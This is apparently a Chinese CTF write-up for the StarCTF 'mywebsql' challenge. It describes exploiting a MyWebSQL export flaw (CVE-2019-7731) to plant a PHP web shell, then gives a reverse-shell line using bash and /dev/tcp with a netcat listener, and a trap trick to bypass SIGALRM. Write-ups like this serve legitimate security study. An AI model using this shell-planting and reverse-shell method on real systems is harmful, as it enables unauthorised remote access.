由于最近在忙着出国赛的题,对于 StarCTF 也只是看了看,Web 部分总共有三题,最后一个题是最简单的,写完之后其他两题看了看,太费时间就没继续了。但对于做过的题还是有个记录比较好。

1、mywebsql

题目

靶机:

  • http://34.92.36.201:10080
  • http://35.243.82.53:10080/
  • http://35.200.49.109:10080

知识点:程序逻辑过滤不严,反弹 Shell,信号处理

步骤:

1、打开靶机,发现是一个叫 MyWebSQL 的程序。

2、上网一搜,发现其有个 RCE 的 CVE 可以利用。

https://nvd.nist.gov/vuln/detail/CVE-2019-7731

3、根据 https://github.com/eddietcc/CVEnotes/blob/master/MyWebSQL/RCE/readme,大概就是导出备份的时候写入的文件名没过滤,可以写出到任意扩展名的文件,那么我们就可以在数据里藏个 Shell,再将其导出就写 Shell 成功了。

4、那我们来试试,当然先得登录进去。试了试有个弱密码,admin/admin 就可以登录了。

5、那么我们就先创建一个表,叫 glzjin。有一个字段 code 即可。

6、然后来插入一条数据,内容就是我们的 shell。

7、然后导出数据库到文件。

8、访问一下 /backups/glzjin.php,可以看到写 shell 成功了。

9、然后用蚁剑连上看看。

10、点击,打开来浏览一下文件看看,发现根目录下有个 flag 和 readflag。

11、注意,flag 咱们没权限,就得先从有执行权限的 readflag 入手了。打开终端试试。

13、可以看到,咱们什么都还没输入,这个程序就退出了。

14、我们再来反弹一个 Shell 来看看运行有啥结果,在我们自己的有公网 IP 的机器上执行 nc -vv -l -p 8888,监听端口来接收反弹来的 Shell。

15、再在靶机上的 /var/www/html/backups 目录(只有这个目录有写权限)里创建一个 bash 脚本,内容如下,再运行这个程序就可以反弹 Shell 到咱们自己的机器上了。

内容如下:

bash -i >& /dev/tcp/Your IP/8888 0>&1

执行一下,


反弹成功,

16、再次执行 /readflag,未果。

17、那我们把 readflag 下载下来看看。

18、打开 IDA 分析一下。按 F5 看看源码。

此图像的alt属性为空;文件名为155650284469a3967441816c930e671532897a73cf-1024x786.png

可以看到有个 ualarm,这个函数是发时钟信号 SIGALRM 来让终端终止当前程序的。所以造成了我们来不及输入,程序就结束了。

参考资料:https://blog.csdn.net/qq_22863733/article/details/80349120

20、那么我们有没有方法让他不执行呢?有。有个 trap 命令。

参考资料:https://linuxconfig.org/how-to-modify-scripts-behavior-on-signals-using-bash-traps

回到之前我们反弹的 Shell,在这里执行 trap “” 14 ,也就是告诉终端捕捉到 SIGALRM 信号时啥都不做。

21、再执行 /readflag,慢慢算吧。

22、输入正确回答。

23、Flag 到手~